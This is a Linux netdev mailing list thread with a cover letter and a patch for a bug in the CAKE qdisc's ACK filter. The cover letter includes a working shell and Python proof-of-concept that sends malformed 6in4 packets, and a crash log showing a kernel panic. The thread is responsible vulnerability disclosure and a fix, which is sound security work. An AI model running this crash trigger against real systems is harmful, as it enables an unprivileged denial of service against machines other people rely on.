Netdev List
 help / color / mirror / Atom feed
* [PATCH net 0/1] net/sched: sch_cake: validate 6in4 inner headers
@ 2026-07-27 17:03 Ren Wei
  2026-07-27 17:03 ` [PATCH net 1/1] " Ren Wei
  0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-07-27 17:03 UTC (permalink / raw)
  To: cake, netdev
  Cc: toke, jhs, jiri, davem, edumazet, pabeni, horms, vega, zhilinz,
	enjou1224z

From: Zhiling Zou <zhilinz@nebusec.ai>

Hi Linux kernel maintainers,

We found and validated an issue in net/sched/sch_cake.c. The bug is
reachable by a non-root user via user and net namespace when CAKE is
configured with ACK filtering.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

CAKE's ACK filter parses TCP headers from IPv4, IPv6 and 6in4 packets.
For IPv4 packets with protocol 41, cake_get_tcphdr() treats the bytes
after the outer IPv4 header as an IPv6 header if the inner nexthdr byte
is TCP. cake_get_iphdr() likewise returns that inner header to the ACK
filter.

Neither helper verifies that the encapsulated header actually has IPv6
version 6. The reproducer sets the first inner-header byte to 0x05,
which makes the IPv6 version field 0 while still setting the nexthdr
byte to TCP. Once two packets from the same flow are queued,
cake_ack_filter() compares their IP headers and reaches the version
switch that only handles IPv4 and IPv6. The malformed inner version
then hits WARN_ON(1), which panics kernels booted with panic_on_warn=1.

The fix rejects 6in4 packets unless the encapsulated header has IPv6
version 6 in both the IP-header and TCP-header parsing helpers.

Reproducer:

    unshare -Urn ./poc.sh

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------

#!/bin/sh
set -eu

export PATH=/usr/sbin:/usr/bin:/sbin:/bin

IFACE="${IFACE:-veth0}"
PEER="${PEER:-veth1}"
COUNT="${COUNT:-20}"
RATE="${RATE:-1kbit}"

ip link add "$IFACE" type veth peer name "$PEER"
ip link set lo up
ip link set "$IFACE" up
ip link set "$PEER" up
tc qdisc add dev "$IFACE" root cake bandwidth "$RATE" flowblind ack-filter

python3 - "$IFACE" "$PEER" "$COUNT" <<'PY'
import fcntl
import socket
import struct
import sys

iface, peer, count = sys.argv[1], sys.argv[2], int(sys.argv[3])

def csum(data):
    if len(data) & 1:
        data += b"\x00"
    total = 0
    for i in range(0, len(data), 2):
        total += (data[i] << 8) + data[i + 1]
    while total >> 16:
        total = (total & 0xffff) + (total >> 16)
    return (~total) & 0xffff

def mac(name):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    ifreq = struct.pack("16sH14s", name.encode(), socket.AF_UNIX, b"" * 14)
    res = fcntl.ioctl(s.fileno(), 0x8927, ifreq)
    return res[18:24]

src = mac(iface)
dst = mac(peer)

eth = dst + src + struct.pack("!H", 0x0800)

outer_wo = struct.pack(
    "!BBHHHBBH4s4s",
    0x45,
    0,
    80,
    0x1234,
    0,
    64,
    41,
    0,
    socket.inet_aton("192.0.2.1"),
    socket.inet_aton("192.0.2.2"),
)
outer = outer_wo[:10] + struct.pack("!H", csum(outer_wo)) + outer_wo[12:]

inner = bytearray(40)
inner[0] = 0x05
inner[6] = 6
inner[8:24] = bytes.fromhex("20010db8000000000000000000000001")
inner[24:40] = bytes.fromhex("20010db8000000000000000000000002")

tcp = bytearray(20)
struct.pack_into("!HHII", tcp, 0, 10000, 20000, 0, 1)
tcp[12] = 5 << 4
tcp[13] = 0x10

pkt = eth + outer + inner + tcp

s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
s.bind((iface, 0))
for _ in range(count):
    s.send(pkt)

print(f"sent {len(pkt)} bytes x {count}")
PY

------END poc.sh--------

----BEGIN crash log----

[  342.881985][T10039] Kernel panic - not syncing: kernel: panic_on_warn set ...
[  342.882788][T10039] CPU: 0 UID: 1028 PID: 10039 Comm: python3 Tainted: G        W           7.1.0-rc1 #2 PREEMPT(full)
[  342.883469][T10039] Tainted: [W]=WARN
[  342.883722][T10039] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  342.884395][T10039] Call Trace:
[  342.884604][T10039]  <TASK>
[  342.884805][T10039]  vpanic (/home/roxy/linux-block-patch/build/../kernel/panic.c:734)
[  342.885074][T10039]  ? __pfx_vpanic (/home/roxy/linux-block-patch/build/../kernel/panic.c:361)
[  342.885373][T10039]  ? cake_ack_filter.isra.0 (/home/roxy/linux-block-patch/build/../net/sched/sch_cake.c:1171 /home/roxy/linux-block-patch/build/../net/sched/sch_cake.c:1305)
[  342.885732][T10039]  panic (/home/roxy/linux-block-patch/build/../kernel/panic.c:787)
[  342.885975][T10039]  ? __pfx_panic (/home/roxy/linux-block-patch/build/../kernel/panic.c:740)
[  342.886279][T10039]  check_panic_on_warn (/home/roxy/linux-block-patch/build/../kernel/panic.c:527 (discriminator 1))
[  342.886599][T10039]  __warn (/home/roxy/linux-block-patch/build/../kernel/panic.c:1101)
[  342.886847][T10039]  ? cake_ack_filter.isra.0 (/home/roxy/linux-block-patch/build/../net/sched/sch_cake.c:1171 /home/roxy/linux-block-patch/build/../net/sched/sch_cake.c:1305)
[  342.887202][T10039]  __report_bug (/home/roxy/linux-block-patch/build/../lib/bug.c:204 (discriminator 1))
[  342.887502][T10039]  ? __pfx___report_bug (/home/roxy/linux-block-patch/build/../lib/bug.c:73 (discriminator 5))
[  342.887834][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.888189][T10039]  ? __lock_acquire (/home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:4674 /home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:5191)
[  342.888506][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.888872][T10039]  ? cake_ack_filter.isra.0 (/home/roxy/linux-block-patch/build/../net/sched/sch_cake.c:1171 /home/roxy/linux-block-patch/build/../net/sched/sch_cake.c:1305)
[  342.889228][T10039]  report_bug (/home/roxy/linux-block-patch/build/../include/linux/context_tracking.h:149 (discriminator 1) /home/roxy/linux-block-patch/build/../lib/bug.c:277 (discriminator 1))
[  342.889497][T10039]  ? cake_ack_filter.isra.0 (/home/roxy/linux-block-patch/build/../net/sched/sch_cake.c:1171 /home/roxy/linux-block-patch/build/../net/sched/sch_cake.c:1305)
[  342.889867][T10039]  handle_bug (/home/roxy/linux-block-patch/build/../arch/x86/kernel/traps.c:436)
[  342.890147][T10039]  exc_invalid_op (/home/roxy/linux-block-patch/build/../arch/x86/kernel/traps.c:490 (discriminator 1))
[  342.890439][T10039]  asm_exc_invalid_op (/home/roxy/linux-block-patch/build/../arch/x86/include/asm/idtentry.h:616)
[  342.890749][T10039] RIP: 0010:cake_ack_filter.isra.0 (/home/roxy/linux-block-patch/build/../net/sched/sch_cake.c:1171 /home/roxy/linux-block-patch/build/../net/sched/sch_cake.c:1305)
[  342.891138][T10039] Code: 00 00 65 48 2b 05 d5 46 40 0a 0f 85 3d 0a 00 00 48 81 c4 a8 02 00 00 4c 89 d8 5b 5d 41 5c 41 5d 41 5e 41 5f e9 b9 77 3b f8 90 <0f> 0b 90 e9 be f7 ff ff 48 8b 45 10 49 39 45 10 0f 85 b0 f7 ff ff
All code
========
   0:	00 00                	add    %al,(%rax)
   2:	65 48 2b 05 d5 46 40 	sub    %gs:0xa4046d5(%rip),%rax        # 0xa4046df
   9:	0a 
   a:	0f 85 3d 0a 00 00    	jne    0xa4d
  10:	48 81 c4 a8 02 00 00 	add    $0x2a8,%rsp
  17:	4c 89 d8             	mov    %r11,%rax
  1a:	5b                   	pop    %rbx
  1b:	5d                   	pop    %rbp
  1c:	41 5c                	pop    %r12
  1e:	41 5d                	pop    %r13
  20:	41 5e                	pop    %r14
  22:	41 5f                	pop    %r15
  24:	e9 b9 77 3b f8       	jmp    0xfffffffff83b77e2
  29:	90                   	nop
  2a:*	0f 0b                	ud2		<-- trapping instruction
  2c:	90                   	nop
  2d:	e9 be f7 ff ff       	jmp    0xfffffffffffff7f0
  32:	48 8b 45 10          	mov    0x10(%rbp),%rax
  36:	49 39 45 10          	cmp    %rax,0x10(%r13)
  3a:	0f 85 b0 f7 ff ff    	jne    0xfffffffffffff7f0

Code starting with the faulting instruction
===========================================
   0:	0f 0b                	ud2
   2:	90                   	nop
   3:	e9 be f7 ff ff       	jmp    0xfffffffffffff7c6
   8:	48 8b 45 10          	mov    0x10(%rbp),%rax
   c:	49 39 45 10          	cmp    %rax,0x10(%r13)
  10:	0f 85 b0 f7 ff ff    	jne    0xfffffffffffff7c6
[  342.892336][T10039] RSP: 0018:ffa0000011727410 EFLAGS: 00010287
[  342.892725][T10039] RAX: 0000000000000000 RBX: ff110000701ab50c RCX: 0000000000000000
[  342.893225][T10039] RDX: 0000000000000007 RSI: ff110000701ab8cc RDI: 0000000000000004
[  342.893726][T10039] RBP: ff110000701ab8a4 R08: ffa0000011727328 R09: 0000000000000000
[  342.894211][T10039] R10: 0000000000000000 R11: 0000000000000000 R12: ff110001138a8c80
[  342.894710][T10039] R13: ff110000701ab4e4 R14: 00000000204e1027 R15: dffffc0000000000
[  342.895265][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.895629][T10039]  ? __pfx_cake_ack_filter.isra.0 (/home/roxy/linux-block-patch/build/../net/sched/sch_cake.c:2812)
[  342.896028][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.896377][T10039]  ? __lock_acquire (/home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:4674 /home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:5191)
[  342.896704][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.897051][T10039]  ? cake_overhead (/home/roxy/linux-block-patch/build/../net/sched/sch_cake.c:1451)
[  342.897363][T10039]  ? __pfx_cake_overhead (/home/roxy/linux-block-patch/build/../include/linux/skbuff.h:3253 (discriminator 1))
[  342.897699][T10039]  ? ktime_get (/home/roxy/linux-block-patch/build/../kernel/time/timekeeping.c:969 (discriminator 2))
[  342.897978][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.898335][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.898706][T10039]  cake_enqueue (/home/roxy/linux-block-patch/build/../net/sched/sch_cake.c:1823 (discriminator 2))
[  342.899004][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.899355][T10039]  ? __lock_acquire (/home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:4674 /home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:5191)
[  342.899700][T10039]  ? __pfx_cake_enqueue (/home/roxy/linux-block-patch/build/../include/linux/skbuff.h:1724)
[  342.900033][T10039]  __dev_queue_xmit (/home/roxy/linux-block-patch/build/../include/net/sch_generic.h:949 (discriminator 1) /home/roxy/linux-block-patch/build/../net/core/dev.c:4208 (discriminator 1) /home/roxy/linux-block-patch/build/../net/core/dev.c:4831 (discriminator 1))
[  342.900376][T10039]  ? __pfx___dev_queue_xmit (/home/roxy/linux-block-patch/build/../include/linux/netdevice.h:4010 (discriminator 1))
[  342.900728][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.901079][T10039]  ? _copy_from_iter (/home/roxy/linux-block-patch/build/../include/linux/iov_iter.h:296 /home/roxy/linux-block-patch/build/../include/linux/iov_iter.h:330 /home/roxy/linux-block-patch/build/../lib/iov_iter.c:261 /home/roxy/linux-block-patch/build/../lib/iov_iter.c:272)
[  342.901403][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.901762][T10039]  ? lock_acquire (/home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:5868 /home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:5825)
[  342.902063][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.902417][T10039]  ? find_held_lock (/home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:5350)
[  342.902723][T10039]  ? __pfx__copy_from_iter (/home/roxy/linux-block-patch/build/../include/linux/iov_iter.h:157)
[  342.903075][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.903427][T10039]  ? packet_parse_headers (/home/roxy/linux-block-patch/build/../include/linux/netdevice.h:3492 /home/roxy/linux-block-patch/build/../net/packet/af_packet.c:1930)
[  342.903781][T10039]  ? __pfx_packet_parse_headers (/home/roxy/linux-block-patch/build/../include/net/dst.h:285)
[  342.904143][T10039]  ? skb_copy_datagram_from_iter (/home/roxy/linux-block-patch/build/../arch/x86/include/asm/jump_label.h:37 /home/roxy/linux-block-patch/build/../include/linux/ucopysize.h:20 /home/roxy/linux-block-patch/build/../include/linux/ucopysize.h:59 /home/roxy/linux-block-patch/build/../include/linux/uio.h:227 /home/roxy/linux-block-patch/build/../net/core/datagram.c:561)
[  342.904532][T10039]  packet_sendmsg (/home/roxy/linux-block-patch/build/../include/linux/skbuff.h:3137 (discriminator 1) /home/roxy/linux-block-patch/build/../net/packet/af_packet.c:3030 (discriminator 1) /home/roxy/linux-block-patch/build/../net/packet/af_packet.c:3114 (discriminator 1))
[  342.904880][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.905241][T10039]  ? __pfx___might_resched (/home/roxy/linux-block-patch/build/../kernel/sched/core.c:5888 (discriminator 7))
[  342.905581][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.905946][T10039]  ? __lock_acquire (/home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:4674 /home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:5191)
[  342.906270][T10039]  ? __pfx_packet_sendmsg (/home/roxy/linux-block-patch/build/../arch/x86/include/asm/atomic.h:23)
[  342.906608][T10039]  ? __pfx_aa_sk_perm+0x10/0x10
[  342.906951][T10039]  __sys_sendto (/home/roxy/linux-block-patch/build/../net/socket.c:787 (discriminator 2) /home/roxy/linux-block-patch/build/../net/socket.c:802 (discriminator 2) /home/roxy/linux-block-patch/build/../net/socket.c:2265 (discriminator 2))
[  342.907241][T10039]  ? __pfx___sys_sendto (/home/roxy/linux-block-patch/build/../net/socket.c:2219)
[  342.907558][T10039]  ? __local_bh_enable_ip (/home/roxy/linux-block-patch/build/../kernel/softirq.c:457 (discriminator 1))
[  342.907905][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.908263][T10039]  ? lockdep_hardirqs_on (/home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:4472)
[  342.908605][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.908964][T10039]  ? __sys_bind (/home/roxy/linux-block-patch/build/../net/socket.c:1933 (discriminator 2) /home/roxy/linux-block-patch/build/../net/socket.c:1925 (discriminator 2) /home/roxy/linux-block-patch/build/../net/socket.c:1964 (discriminator 2))
[  342.909293][T10039]  __x64_sys_sendto (/home/roxy/linux-block-patch/build/../net/socket.c:2272 /home/roxy/linux-block-patch/build/../net/socket.c:2268 /home/roxy/linux-block-patch/build/../net/socket.c:2268)
[  342.909599][T10039]  ? do_syscall_64 (/home/roxy/linux-block-patch/build/../include/linux/entry-common.h:177 /home/roxy/linux-block-patch/build/../arch/x86/entry/syscall_64.c:89)
[  342.909909][T10039]  ? srso_alias_return_thunk (/home/roxy/linux-block-patch/build/../arch/x86/lib/retpoline.S:220)
[  342.910264][T10039]  ? lockdep_hardirqs_on (/home/roxy/linux-block-patch/build/../kernel/locking/lockdep.c:4472)
[  342.910593][T10039]  do_syscall_64 (/home/roxy/linux-block-patch/build/../arch/x86/entry/syscall_64.c:63 /home/roxy/linux-block-patch/build/../arch/x86/entry/syscall_64.c:94)
[  342.910889][T10039]  ? irqentry_exit (/home/roxy/linux-block-patch/build/../include/linux/irq-entry-common.h:280 /home/roxy/linux-block-patch/build/../include/linux/irq-entry-common.h:325 /home/roxy/linux-block-patch/build/../kernel/entry/common.c:162)
[  342.911194][T10039]  entry_SYSCALL_64_after_hwframe (/home/roxy/linux-block-patch/build/../arch/x86/entry/entry_64.S:121)
[  342.911566][T10039] RIP: 0033:0x7f6d385c0687
[  342.911854][T10039] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
All code
========
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	4c 89 df             	mov    %r11,%rdi
   6:	e8 58 b3 00 00       	call   0xb363
   b:	8b 93 08 03 00 00    	mov    0x308(%rbx),%edx
  11:	59                   	pop    %rcx
  12:	5e                   	pop    %rsi
  13:	48 83 f8 fc          	cmp    $0xfffffffffffffffc,%rax
  17:	74 1a                	je     0x33
  19:	5b                   	pop    %rbx
  1a:	c3                   	ret
  1b:	0f 1f 84 00 00 00 00 	nopl   0x0(%rax,%rax,1)
  22:	00 
  23:	48 8b 44 24 10       	mov    0x10(%rsp),%rax
  28:	0f 05                	syscall
  2a:*	5b                   	pop    %rbx		<-- trapping instruction
  2b:	c3                   	ret
  2c:	0f 1f 80 00 00 00 00 	nopl   0x0(%rax)
  33:	83 e2 39             	and    $0x39,%edx
  36:	83 fa 08             	cmp    $0x8,%edx
  39:	75 de                	jne    0x19
  3b:	e8 23 ff ff ff       	call   0xffffffffffffff63

Code starting with the faulting instruction
===========================================
   0:	5b                   	pop    %rbx
   1:	c3                   	ret
   2:	0f 1f 80 00 00 00 00 	nopl   0x0(%rax)
   9:	83 e2 39             	and    $0x39,%edx
   c:	83 fa 08             	cmp    $0x8,%edx
   f:	75 de                	jne    0xffffffffffffffef
  11:	e8 23 ff ff ff       	call   0xffffffffffffff39
[  342.913048][T10039] RSP: 002b:00007ffd3b5faa90 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[  342.913567][T10039] RAX: ffffffffffffffda RBX: 00007f6d3852c780 RCX: 00007f6d385c0687
[  342.914072][T10039] RDX: 000000000000005e RSI: 00007f6d380334d0 RDI: 0000000000000003
[  342.914561][T10039] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[  342.915058][T10039] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000
[  342.915554][T10039] R13: 0000000000000000 R14: 00000000006ff020 R15: 0000000000a83590
[  342.916081][T10039]  </TASK>
[  342.916721][T10039] Kernel Offset: disabled
[  342.917019][T10039] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  net/sched: sch_cake: validate 6in4 inner headers

 net/sched/sch_cake.c | 18 +++++++++++-------
 1 file changed, 11 insertions(+), 7 deletions(-)

-- 
2.43.0

^ permalink raw reply	[flat|nested] 2+ messages in thread

* [PATCH net 1/1] net/sched: sch_cake: validate 6in4 inner headers
  2026-07-27 17:03 [PATCH net 0/1] net/sched: sch_cake: validate 6in4 inner headers Ren Wei
@ 2026-07-27 17:03 ` Ren Wei
  0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-07-27 17:03 UTC (permalink / raw)
  To: cake, netdev
  Cc: toke, jhs, jiri, davem, edumazet, pabeni, horms, vega, zhilinz,
	enjou1224z

From: Zhiling Zou <zhilinz@nebusec.ai>

CAKE's ACK filter special-cases IPv4 packets carrying IPv6 to find TCP
ACKs inside 6in4 tunnels. The parser checks the outer IPv4 protocol and
the inner next-header field, but it does not verify that the inner
header is actually IPv6.

A malformed packet can therefore use an inner header with a non-IPv6
version while still setting the byte used as nexthdr to TCP. When two
packets from the same queued flow reach cake_ack_filter(), the version
dispatch can fall through to WARN_ON(1), which becomes a denial of
service on kernels with panic_on_warn enabled.

Reject 6in4 packets unless the encapsulated header has IPv6 version 6
in both IP and TCP header parsing helpers.

Fixes: 8b7138814f29 ("sch_cake: Add optional ACK filter")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
 net/sched/sch_cake.c | 18 +++++++++++-------
 1 file changed, 11 insertions(+), 7 deletions(-)

diff --git a/net/sched/sch_cake.c b/net/sched/sch_cake.c
index 505f63fecf640..7c4d92cdf514f 100644
--- a/net/sched/sch_cake.c
+++ b/net/sched/sch_cake.c
@@ -950,16 +950,19 @@ static struct iphdr *cake_get_iphdr(const struct sk_buff *skb,
 	if (!iph)
 		return NULL;
 
-	if (iph->version == 4 && iph->protocol == IPPROTO_IPV6)
-		return skb_header_pointer(skb, offset + iph->ihl * 4,
-					  sizeof(struct ipv6hdr), buf);
+	if (iph->version == 4 && iph->protocol == IPPROTO_IPV6) {
+		iph = skb_header_pointer(skb, offset + iph->ihl * 4,
+					 sizeof(struct ipv6hdr), buf);
+		if (!iph || iph->version != 6)
+			return NULL;
 
-	else if (iph->version == 4)
 		return iph;
-
-	else if (iph->version == 6)
+	} else if (iph->version == 4) {
+		return iph;
+	} else if (iph->version == 6) {
 		return skb_header_pointer(skb, offset, sizeof(struct ipv6hdr),
 					  buf);
+	}
 
 	return NULL;
 }
@@ -990,7 +993,8 @@ static struct tcphdr *cake_get_tcphdr(const struct sk_buff *skb,
 			ipv6h = skb_header_pointer(skb, offset,
 						   sizeof(_ipv6h), &_ipv6h);
 
-			if (!ipv6h || ipv6h->nexthdr != IPPROTO_TCP)
+			if (!ipv6h || ipv6h->version != 6 ||
+			    ipv6h->nexthdr != IPPROTO_TCP)
 				return NULL;
 
 			offset += sizeof(struct ipv6hdr);
-- 
2.43.0

^ permalink raw reply related	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-07-27 17:03 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-27 17:03 [PATCH net 0/1] net/sched: sch_cake: validate 6in4 inner headers Ren Wei
2026-07-27 17:03 ` [PATCH net 1/1] " Ren Wei

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox